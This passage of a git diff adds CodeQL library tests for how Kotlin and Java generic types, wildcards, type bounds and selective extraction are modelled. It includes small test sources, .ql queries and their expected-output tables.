+| Test.java:14:14:14:17 | Test | Test.java:14:14:14:17 | Test | Test() | No parameters | void | Test.java:14:14:14:17 | Test | Test.java:14:14:14:17 | Test |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<? extends String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<? extends String> | Generic<? extends String>(java.lang.Void) | Void | void | test.kt:1:1:10:1 | Generic | test.kt:1:1:10:1 | Generic |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<? super String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<? super String> | Generic<? super String>(java.lang.String) | String | void | test.kt:1:1:10:1 | Generic | test.kt:1:1:10:1 | Generic |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<String> | Generic<String>(java.lang.String) | String | void | test.kt:1:1:10:1 | Generic | test.kt:1:1:10:1 | Generic |
+| test.kt:1:1:10:1 | Generic | test.kt:1:1:10:1 | Generic | Generic(java.lang.Object) | T | void | test.kt:1:1:10:1 | Generic | test.kt:1:1:10:1 | Generic |
+constructorCalls
+| Test.java:18:34:18:68 | new Generic2<String>(...) | Generic2.class:0:0:0:0 | Generic2<String> |
+| test.kt:14:19:14:48 | new Generic<String>(...) | file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<String> |
+refTypes
+| Test.java:1:7:1:14 | Generic2 |
+| Test.java:1:16:1:16 | T |
+| Test.java:14:14:14:17 | Test |
+| test.kt:0:0:0:0 | TestKt |
+| test.kt:1:1:10:1 | Generic |
+| test.kt:1:15:1:15 | T |
+#select
+| Generic2.class:0:0:0:0 | Generic2<? extends String> | Generic2.class:0:0:0:0 | getter | getter() | No parameters | ? extends String | Test.java:1:7:1:14 | Generic2 | Test.java:9:5:9:10 | getter |
+| Generic2.class:0:0:0:0 | Generic2<? extends String> | Generic2.class:0:0:0:0 | identity | identity(java.lang.String) | ? extends String | ? extends String | Test.java:1:7:1:14 | Generic2 | Test.java:8:5:8:12 | identity |
+| Generic2.class:0:0:0:0 | Generic2<? extends String> | Generic2.class:0:0:0:0 | identity2 | identity2(java.lang.String) | ? extends String | ? extends String | Test.java:1:7:1:14 | Generic2 | Test.java:7:5:7:13 | identity2 |
+| Generic2.class:0:0:0:0 | Generic2<? extends String> | Generic2.class:0:0:0:0 | setter | setter(java.lang.String) | ? extends String | void | Test.java:1:7:1:14 | Generic2 | Test.java:10:8:10:13 | setter |
+| Generic2.class:0:0:0:0 | Generic2<? super String> | Generic2.class:0:0:0:0 | getter | getter() | No parameters | ? super String | Test.java:1:7:1:14 | Generic2 | Test.java:9:5:9:10 | getter |
+| Generic2.class:0:0:0:0 | Generic2<? super String> | Generic2.class:0:0:0:0 | identity | identity(java.lang.Object) | ? super String | ? super String | Test.java:1:7:1:14 | Generic2 | Test.java:8:5:8:12 | identity |
+| Generic2.class:0:0:0:0 | Generic2<? super String> | Generic2.class:0:0:0:0 | identity2 | identity2(java.lang.Object) | ? super String | ? super String | Test.java:1:7:1:14 | Generic2 | Test.java:7:5:7:13 | identity2 |
+| Generic2.class:0:0:0:0 | Generic2<? super String> | Generic2.class:0:0:0:0 | setter | setter(java.lang.Object) | ? super String | void | Test.java:1:7:1:14 | Generic2 | Test.java:10:8:10:13 | setter |
+| Generic2.class:0:0:0:0 | Generic2<String> | Generic2.class:0:0:0:0 | getter | getter() | No parameters | String | Test.java:1:7:1:14 | Generic2 | Test.java:9:5:9:10 | getter |
+| Generic2.class:0:0:0:0 | Generic2<String> | Generic2.class:0:0:0:0 | identity | identity(java.lang.String) | String | String | Test.java:1:7:1:14 | Generic2 | Test.java:8:5:8:12 | identity |
+| Generic2.class:0:0:0:0 | Generic2<String> | Generic2.class:0:0:0:0 | identity2 | identity2(java.lang.String) | String | String | Test.java:1:7:1:14 | Generic2 | Test.java:7:5:7:13 | identity2 |
+| Generic2.class:0:0:0:0 | Generic2<String> | Generic2.class:0:0:0:0 | setter | setter(java.lang.String) | String | void | Test.java:1:7:1:14 | Generic2 | Test.java:10:8:10:13 | setter |
+| Test.java:1:7:1:14 | Generic2 | Test.java:7:5:7:13 | identity2 | identity2(java.lang.Object) | T | T | Test.java:1:7:1:14 | Generic2 | Test.java:7:5:7:13 | identity2 |
+| Test.java:1:7:1:14 | Generic2 | Test.java:8:5:8:12 | identity | identity(java.lang.Object) | T | T | Test.java:1:7:1:14 | Generic2 | Test.java:8:5:8:12 | identity |
+| Test.java:1:7:1:14 | Generic2 | Test.java:9:5:9:10 | getter | getter() | No parameters | T | Test.java:1:7:1:14 | Generic2 | Test.java:9:5:9:10 | getter |
+| Test.java:1:7:1:14 | Generic2 | Test.java:10:8:10:13 | setter | setter(java.lang.Object) | T | void | Test.java:1:7:1:14 | Generic2 | Test.java:10:8:10:13 | setter |
+| Test.java:14:14:14:17 | Test | Test.java:16:22:16:25 | user | user() | No parameters | void | Test.java:14:14:14:17 | Test | Test.java:16:22:16:25 | user |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<? extends String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | getStored | getStored() | No parameters | String | test.kt:1:1:10:1 | Generic | test.kt:3:3:3:19 | getStored |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<? extends String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | getter | getter() | No parameters | String | test.kt:1:1:10:1 | Generic | test.kt:7:3:7:26 | getter |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<? extends String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | identity | identity(java.lang.Void) | Void | String | test.kt:1:1:10:1 | Generic | test.kt:6:3:6:35 | identity |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<? extends String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | identity2 | identity2(java.lang.Void) | Void | String | test.kt:1:1:10:1 | Generic | test.kt:5:3:5:46 | identity2 |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<? extends String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | setStored | setStored(java.lang.Void) | Void | void | test.kt:1:1:10:1 | Generic | test.kt:3:3:3:19 | setStored |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<? extends String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | setter | setter(java.lang.Void) | Void | void | test.kt:1:1:10:1 | Generic | test.kt:8:3:8:41 | setter |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<? super String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | getStored | getStored() | No parameters | Object | test.kt:1:1:10:1 | Generic | test.kt:3:3:3:19 | getStored |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<? super String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | getter | getter() | No parameters | Object | test.kt:1:1:10:1 | Generic | test.kt:7:3:7:26 | getter |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<? super String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | identity | identity(java.lang.String) | String | Object | test.kt:1:1:10:1 | Generic | test.kt:6:3:6:35 | identity |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<? super String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | identity2 | identity2(java.lang.String) | String | Object | test.kt:1:1:10:1 | Generic | test.kt:5:3:5:46 | identity2 |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<? super String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | setStored | setStored(java.lang.String) | String | void | test.kt:1:1:10:1 | Generic | test.kt:3:3:3:19 | setStored |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<? super String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | setter | setter(java.lang.String) | String | void | test.kt:1:1:10:1 | Generic | test.kt:8:3:8:41 | setter |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | getStored | getStored() | No parameters | String | test.kt:1:1:10:1 | Generic | test.kt:3:3:3:19 | getStored |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | getter | getter() | No parameters | String | test.kt:1:1:10:1 | Generic | test.kt:7:3:7:26 | getter |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | identity | identity(java.lang.String) | String | String | test.kt:1:1:10:1 | Generic | test.kt:6:3:6:35 | identity |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | identity2 | identity2(java.lang.String) | String | String | test.kt:1:1:10:1 | Generic | test.kt:5:3:5:46 | identity2 |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | setStored | setStored(java.lang.String) | String | void | test.kt:1:1:10:1 | Generic | test.kt:3:3:3:19 | setStored |
+| file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<String> | file:///!unknown-binary-location/Generic.class:0:0:0:0 | setter | setter(java.lang.String) | String | void | test.kt:1:1:10:1 | Generic | test.kt:8:3:8:41 | setter |
+| test.kt:0:0:0:0 | TestKt | test.kt:12:1:25:1 | user | user() | No parameters | void | test.kt:0:0:0:0 | TestKt | test.kt:12:1:25:1 | user |
+| test.kt:1:1:10:1 | Generic | test.kt:3:3:3:19 | getStored | getStored() | No parameters | T | test.kt:1:1:10:1 | Generic | test.kt:3:3:3:19 | getStored |
+| test.kt:1:1:10:1 | Generic | test.kt:3:3:3:19 | setStored | setStored(java.lang.Object) | T | void | test.kt:1:1:10:1 | Generic | test.kt:3:3:3:19 | setStored |
+| test.kt:1:1:10:1 | Generic | test.kt:5:3:5:46 | identity2 | identity2(java.lang.Object) | T | T | test.kt:1:1:10:1 | Generic | test.kt:5:3:5:46 | identity2 |
+| test.kt:1:1:10:1 | Generic | test.kt:6:3:6:35 | identity | identity(java.lang.Object) | T | T | test.kt:1:1:10:1 | Generic | test.kt:6:3:6:35 | identity |
+| test.kt:1:1:10:1 | Generic | test.kt:7:3:7:26 | getter | getter() | No parameters | T | test.kt:1:1:10:1 | Generic | test.kt:7:3:7:26 | getter |
+| test.kt:1:1:10:1 | Generic | test.kt:8:3:8:41 | setter | setter(java.lang.Object) | T | void | test.kt:1:1:10:1 | Generic | test.kt:8:3:8:41 | setter |
diff --git a/java/ql/test/kotlin/library-tests/generic-instance-methods/test.kt b/java/ql/test/kotlin/library-tests/generic-instance-methods/test.kt
new file mode 100644
index 00000000000..1b253e31388
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-instance-methods/test.kt
@@ -0,0 +1,27 @@
+class Generic<T>(init: T) { 
+
+  var stored = init
+
+  fun identity2(param: T): T = identity(param)
+  fun identity(param: T): T = param
+  fun getter(): T = stored
+  fun setter(param: T) { stored = param }
+
+}
+
+fun user() {
+
+  val invariant = Generic<String>("hello world")
+  invariant.identity("hello world")
+  invariant.identity2("hello world")
+
+  val projectedOut: Generic<out String> = invariant
+  projectedOut.getter()
+
+  val projectedIn: Generic<in String> = invariant
+  projectedIn.setter("hi planet")
+  projectedIn.getter()
+
+}
+
+
diff --git a/java/ql/test/kotlin/library-tests/generic-instance-methods/test.ql b/java/ql/test/kotlin/library-tests/generic-instance-methods/test.ql
new file mode 100644
index 00000000000..16271e1d175
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-instance-methods/test.ql
@@ -0,0 +1,46 @@
+import java
+
+string paramTypeIfPresent(Callable m) {
+  if exists(m.getAParamType())
+  then result = m.getAParamType().toString()
+  else result = "No parameters"
+}
+
+query predicate calls(
+  MethodAccess ma, Callable caller, RefType callerType, Callable called, RefType calledType
+) {
+  ma.getEnclosingCallable() = caller and
+  ma.getCallee() = called and
+  caller.fromSource() and
+  callerType = caller.getDeclaringType() and
+  calledType = called.getDeclaringType()
+}
+
+query predicate constructors(
+  RefType t, Constructor c, string signature, string paramType, string returnType,
+  RefType sourceDeclType, Constructor sourceDecl
+) {
+  t.getSourceDeclaration().fromSource() and
+  c.getDeclaringType() = t and
+  signature = c.getSignature() and
+  paramType = paramTypeIfPresent(c) and
+  returnType = c.getReturnType().toString() and
+  sourceDecl = c.getSourceDeclaration() and
+  sourceDeclType = sourceDecl.getDeclaringType()
+}
+
+query predicate constructorCalls(ConstructorCall cc, Constructor callee) {
+  callee = cc.getConstructor() and
+  callee.getSourceDeclaration().fromSource()
+}
+
+query predicate refTypes(RefType rt) { rt.fromSource() }
+
+from RefType t, Method m, Method sourceDecl, RefType sourceDeclType
+where
+  t.getSourceDeclaration().fromSource() and
+  m.getDeclaringType() = t and
+  sourceDecl = m.getSourceDeclaration() and
+  sourceDeclType = sourceDecl.getDeclaringType()
+select t, m, m.getSignature(), paramTypeIfPresent(m), m.getReturnType().toString(), sourceDeclType,
+  sourceDecl
diff --git a/java/ql/test/kotlin/library-tests/generic-methods/ClassWithParams.kt b/java/ql/test/kotlin/library-tests/generic-methods/ClassWithParams.kt
new file mode 100644
index 00000000000..698728780e9
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-methods/ClassWithParams.kt
@@ -0,0 +1,10 @@
+public class ClassWithParams<T> {
+
+  fun noTypeParams() { }
+
+  fun <S> instanceHasTypeParam(s : S?) { }
+
+  fun <S> instanceHasTypeParamUsesClassTypeParam(s : S?, t: T?) { }
+
+}
+
diff --git a/java/ql/test/kotlin/library-tests/generic-methods/ClassWithoutParams.kt b/java/ql/test/kotlin/library-tests/generic-methods/ClassWithoutParams.kt
new file mode 100644
index 00000000000..841dbd813e5
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-methods/ClassWithoutParams.kt
@@ -0,0 +1,7 @@
+public class ClassWithoutParams {
+
+  fun noTypeParams() { }
+
+  fun <T> hasTypeParams(t : T?) { }
+
+}
diff --git a/java/ql/test/kotlin/library-tests/generic-methods/kttest.kt b/java/ql/test/kotlin/library-tests/generic-methods/kttest.kt
new file mode 100644
index 00000000000..56e8069f34b
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-methods/kttest.kt
@@ -0,0 +1,17 @@
+fun test() {
+
+    val cwp = ClassWithoutParams()
+    cwp.noTypeParams();
+    cwp.hasTypeParams<ClassWithoutParams>(null)
+
+    val specialised = ClassWithParams<String>()
+    specialised.noTypeParams()
+    specialised.instanceHasTypeParam<ClassWithoutParams>(null)
+    specialised.instanceHasTypeParamUsesClassTypeParam<ClassWithoutParams>(null, null)
+
+    val wildcard : ClassWithParams<out Any> = ClassWithParams<Any>()
+    wildcard.noTypeParams()
+    wildcard.instanceHasTypeParam<ClassWithoutParams>(null)
+    wildcard.instanceHasTypeParamUsesClassTypeParam<ClassWithoutParams>(null, null)
+
+}
diff --git a/java/ql/test/kotlin/library-tests/generic-methods/test.expected b/java/ql/test/kotlin/library-tests/generic-methods/test.expected
new file mode 100644
index 00000000000..2b7bada1317
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-methods/test.expected
@@ -0,0 +1,7 @@
+| kttest.kt:5:5:5:7 | cwp | ClassWithoutParams.kt:5:3:5:35 | hasTypeParams | hasTypeParams(java.lang.Object) | T | ClassWithoutParams.kt:1:1:7:1 | ClassWithoutParams |
+| kttest.kt:9:5:9:15 | specialised | file:///!unknown-binary-location/ClassWithParams.class:0:0:0:0 | instanceHasTypeParam | instanceHasTypeParam(java.lang.Object) | S | file:///!unknown-binary-location/ClassWithParams.class:0:0:0:0 | ClassWithParams<String> |
+| kttest.kt:10:5:10:15 | specialised | file:///!unknown-binary-location/ClassWithParams.class:0:0:0:0 | instanceHasTypeParamUsesClassTypeParam | instanceHasTypeParamUsesClassTypeParam(java.lang.Object,java.lang.String) | S | file:///!unknown-binary-location/ClassWithParams.class:0:0:0:0 | ClassWithParams<String> |
+| kttest.kt:10:5:10:15 | specialised | file:///!unknown-binary-location/ClassWithParams.class:0:0:0:0 | instanceHasTypeParamUsesClassTypeParam | instanceHasTypeParamUsesClassTypeParam(java.lang.Object,java.lang.String) | String | file:///!unknown-binary-location/ClassWithParams.class:0:0:0:0 | ClassWithParams<String> |
+| kttest.kt:14:5:14:12 | wildcard | file:///!unknown-binary-location/ClassWithParams.class:0:0:0:0 | instanceHasTypeParam | instanceHasTypeParam(java.lang.Object) | S | file:///!unknown-binary-location/ClassWithParams.class:0:0:0:0 | ClassWithParams<? extends Object> |
+| kttest.kt:15:5:15:12 | wildcard | file:///!unknown-binary-location/ClassWithParams.class:0:0:0:0 | instanceHasTypeParamUsesClassTypeParam | instanceHasTypeParamUsesClassTypeParam(java.lang.Object,java.lang.Void) | S | file:///!unknown-binary-location/ClassWithParams.class:0:0:0:0 | ClassWithParams<? extends Object> |
+| kttest.kt:15:5:15:12 | wildcard | file:///!unknown-binary-location/ClassWithParams.class:0:0:0:0 | instanceHasTypeParamUsesClassTypeParam | instanceHasTypeParamUsesClassTypeParam(java.lang.Object,java.lang.Void) | Void | file:///!unknown-binary-location/ClassWithParams.class:0:0:0:0 | ClassWithParams<? extends Object> |
diff --git a/java/ql/test/kotlin/library-tests/generic-methods/test.ql b/java/ql/test/kotlin/library-tests/generic-methods/test.ql
new file mode 100644
index 00000000000..55412e45eae
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-methods/test.ql
@@ -0,0 +1,5 @@
+import java
+
+from MethodAccess ma
+select ma.getQualifier(), ma.getCallee(), ma.getCallee().getSignature(),
+  ma.getCallee().getAParamType().toString(), ma.getCallee().getDeclaringType()
diff --git a/java/ql/test/kotlin/library-tests/generic-selective-extraction/Test.java b/java/ql/test/kotlin/library-tests/generic-selective-extraction/Test.java
new file mode 100644
index 00000000000..6129c67dcdc
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-selective-extraction/Test.java
@@ -0,0 +1,23 @@
+public class Test<T> {
+
+  public T field;
+  public T method() { return field; }
+
+}
+
+class FieldUsed {}
+class MethodUsed {}
+class ConstructorUsed {}
+class NeitherUsed {} 
+
+class User {
+
+  public static void test(Test<NeitherUsed> neitherUsed, Test<MethodUsed> methodUsed, Test<FieldUsed> fieldUsed) { 
+
+    fieldUsed.field = null;
+    methodUsed.method();
+    Test<ConstructorUsed> constructorUsed = new Test<ConstructorUsed>();
+
+  }
+
+}
diff --git a/java/ql/test/kotlin/library-tests/generic-selective-extraction/Test.kt b/java/ql/test/kotlin/library-tests/generic-selective-extraction/Test.kt
new file mode 100644
index 00000000000..a1efb682806
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-selective-extraction/Test.kt
@@ -0,0 +1,27 @@
+class TestKt<T> {
+
+  var field: T? = null
+  @JvmField
+  var rawField: T? = null
+  fun method() = field
+
+}
+
+class FieldUsedKt {}
+class RawFieldUsedKt {}
+class MethodUsedKt {}
+class ConstructorUsedKt {}
+class NeitherUsedKt {} 
+
+class UserKt {
+
+  fun test(neitherUsed: TestKt<NeitherUsedKt>, methodUsed: TestKt<MethodUsedKt>, fieldUsed: TestKt<FieldUsedKt>, rawFieldUsed: TestKt<RawFieldUsedKt>) { 
+
+    fieldUsed.field = null
+    rawFieldUsed.rawField = null
+    methodUsed.method()
+    val constructorUsed = TestKt<ConstructorUsedKt>()
+
+  }
+
+}
diff --git a/java/ql/test/kotlin/library-tests/generic-selective-extraction/test.expected b/java/ql/test/kotlin/library-tests/generic-selective-extraction/test.expected
new file mode 100644
index 00000000000..d4b4a4bbff4
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-selective-extraction/test.expected
@@ -0,0 +1,52 @@
+| Test.class:0:0:0:0 | Test<ConstructorUsed> | Test.class:0:0:0:0 | Test<ConstructorUsed> |
+| Test.class:0:0:0:0 | Test<ConstructorUsed> | Test.class:0:0:0:0 | method |
+| Test.class:0:0:0:0 | Test<MethodUsed> | Test.class:0:0:0:0 | Test<MethodUsed> |
+| Test.class:0:0:0:0 | Test<MethodUsed> | Test.class:0:0:0:0 | method |
+| Test.java:1:14:1:17 | Test | Test.java:1:14:1:17 | Test |
+| Test.java:1:14:1:17 | Test | Test.java:3:12:3:16 | field |
+| Test.java:1:14:1:17 | Test | Test.java:4:12:4:17 | method |
+| Test.java:8:7:8:15 | FieldUsed | Test.java:8:7:8:15 | FieldUsed |
+| Test.java:9:7:9:16 | MethodUsed | Test.java:9:7:9:16 | MethodUsed |
+| Test.java:10:7:10:21 | ConstructorUsed | Test.java:10:7:10:21 | ConstructorUsed |
+| Test.java:11:7:11:17 | NeitherUsed | Test.java:11:7:11:17 | NeitherUsed |
+| Test.java:13:7:13:10 | User | Test.java:13:7:13:10 | User |
+| Test.java:13:7:13:10 | User | Test.java:15:22:15:25 | test |
+| Test.kt:1:1:8:1 | TestKt | Test.kt:1:1:8:1 | TestKt |
+| Test.kt:1:1:8:1 | TestKt | Test.kt:3:3:3:22 | field |
+| Test.kt:1:1:8:1 | TestKt | Test.kt:3:3:3:22 | getField |
+| Test.kt:1:1:8:1 | TestKt | Test.kt:3:3:3:22 | setField |
+| Test.kt:1:1:8:1 | TestKt | Test.kt:4:3:5:25 | rawField |
+| Test.kt:1:1:8:1 | TestKt | Test.kt:5:3:5:25 | getRawField |
+| Test.kt:1:1:8:1 | TestKt | Test.kt:5:3:5:25 | setRawField |
+| Test.kt:1:1:8:1 | TestKt | Test.kt:6:3:6:22 | method |
+| Test.kt:10:1:10:20 | FieldUsedKt | Test.kt:10:1:10:20 | FieldUsedKt |
+| Test.kt:11:1:11:23 | RawFieldUsedKt | Test.kt:11:1:11:23 | RawFieldUsedKt |
+| Test.kt:12:1:12:21 | MethodUsedKt | Test.kt:12:1:12:21 | MethodUsedKt |
+| Test.kt:13:1:13:26 | ConstructorUsedKt | Test.kt:13:1:13:26 | ConstructorUsedKt |
+| Test.kt:14:1:14:22 | NeitherUsedKt | Test.kt:14:1:14:22 | NeitherUsedKt |
+| Test.kt:16:1:27:1 | UserKt | Test.kt:16:1:27:1 | UserKt |
+| Test.kt:16:1:27:1 | UserKt | Test.kt:18:3:25:3 | test |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<ConstructorUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<ConstructorUsedKt> |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<ConstructorUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | getField |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<ConstructorUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | getRawField |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<ConstructorUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | method |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<ConstructorUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | setField |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<ConstructorUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | setRawField |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<FieldUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<FieldUsedKt> |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<FieldUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | getField |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<FieldUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | getRawField |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<FieldUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | method |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<FieldUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | setField |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<FieldUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | setRawField |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<MethodUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<MethodUsedKt> |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<MethodUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | getField |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<MethodUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | getRawField |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<MethodUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | method |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<MethodUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | setField |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<MethodUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | setRawField |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<RawFieldUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<RawFieldUsedKt> |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<RawFieldUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | getField |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<RawFieldUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | getRawField |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<RawFieldUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | method |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<RawFieldUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | setField |
+| file:///!unknown-binary-location/TestKt.class:0:0:0:0 | TestKt<RawFieldUsedKt> | file:///!unknown-binary-location/TestKt.class:0:0:0:0 | setRawField |
diff --git a/java/ql/test/kotlin/library-tests/generic-selective-extraction/test.ql b/java/ql/test/kotlin/library-tests/generic-selective-extraction/test.ql
new file mode 100644
index 00000000000..c610849cb86
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-selective-extraction/test.ql
@@ -0,0 +1,7 @@
+import java
+
+from RefType rt, Member m
+where
+  rt.getSourceDeclaration().fromSource() and
+  m.getDeclaringType() = rt
+select rt, m
diff --git a/java/ql/test/kotlin/library-tests/generic-type-bounds/test.expected b/java/ql/test/kotlin/library-tests/generic-type-bounds/test.expected
new file mode 100644
index 00000000000..15777aaef53
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-type-bounds/test.expected
@@ -0,0 +1,11 @@
+classTVs
+| test.kt:1:12:1:21 | T | test.kt:1:1:5:1 | Test | Number |
+| test.kt:1:24:1:28 | S | test.kt:1:1:5:1 | Test | T |
+| test.kt:1:31:1:31 | R | test.kt:1:1:5:1 | Test | Object |
+| test.kt:7:22:7:22 | P | test.kt:7:1:7:67 | MultipleBounds | List<String> |
+| test.kt:7:22:7:22 | P | test.kt:7:1:7:67 | MultipleBounds | Set<String> |
+| test.kt:9:22:9:42 | T | test.kt:9:1:9:47 | RecursiveBound | RecursiveBound |
+| test.kt:11:28:11:57 | T | test.kt:11:1:11:94 | MutualRecursiveBound | MutualRecursiveBound |
+| test.kt:11:60:11:89 | S | test.kt:11:1:11:94 | MutualRecursiveBound | MutualRecursiveBound |
+functionTVs
+| test.kt:3:8:3:17 | Q | test.kt:3:3:3:26 | f | Number |
diff --git a/java/ql/test/kotlin/library-tests/generic-type-bounds/test.kt b/java/ql/test/kotlin/library-tests/generic-type-bounds/test.kt
new file mode 100644
index 00000000000..9621b79137a
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-type-bounds/test.kt
@@ -0,0 +1,11 @@
+class Test<T : Number, S : T, R> {
+
+  fun <Q : Number> f() { }
+
+}
+
+class MultipleBounds<P> where P : List<String>, P : Set<String> { }
+
+class RecursiveBound<T : RecursiveBound<T>> { }
+
+class MutualRecursiveBound<T : MutualRecursiveBound<T, S>, S : MutualRecursiveBound<T, S>> { }
diff --git a/java/ql/test/kotlin/library-tests/generic-type-bounds/test.ql b/java/ql/test/kotlin/library-tests/generic-type-bounds/test.ql
new file mode 100644
index 00000000000..39ac000343f
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-type-bounds/test.ql
@@ -0,0 +1,13 @@
+import java
+
+query predicate classTVs(TypeVariable tv, GenericType declType, string bound) {
+  tv.getGenericType() = declType and
+  tv.getUpperBoundType().toString() = bound and
+  declType.fromSource()
+}
+
+query predicate functionTVs(TypeVariable tv, GenericCallable callable, string bound) {
+  tv.getGenericCallable() = callable and
+  tv.getUpperBoundType().toString() = bound and
+  callable.fromSource()
+}
diff --git a/java/ql/test/kotlin/library-tests/generics-location/A.java b/java/ql/test/kotlin/library-tests/generics-location/A.java
new file mode 100644
index 00000000000..808787174eb
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generics-location/A.java
@@ -0,0 +1,11 @@
+package main;
+
+public class A<T> {
+    public void fn() {
+        A<String> a0 = new A<String>();
+        A<Integer> a1 = new A<Integer>();
+
+        B<String> b0 = new B<String>();
+        B<Integer> b1 = new B<Integer>();
+    }
+}
diff --git a/java/ql/test/kotlin/library-tests/generics-location/generics.kt b/java/ql/test/kotlin/library-tests/generics-location/generics.kt
new file mode 100644
index 00000000000..3a73e1d8b3d
--- /dev/null
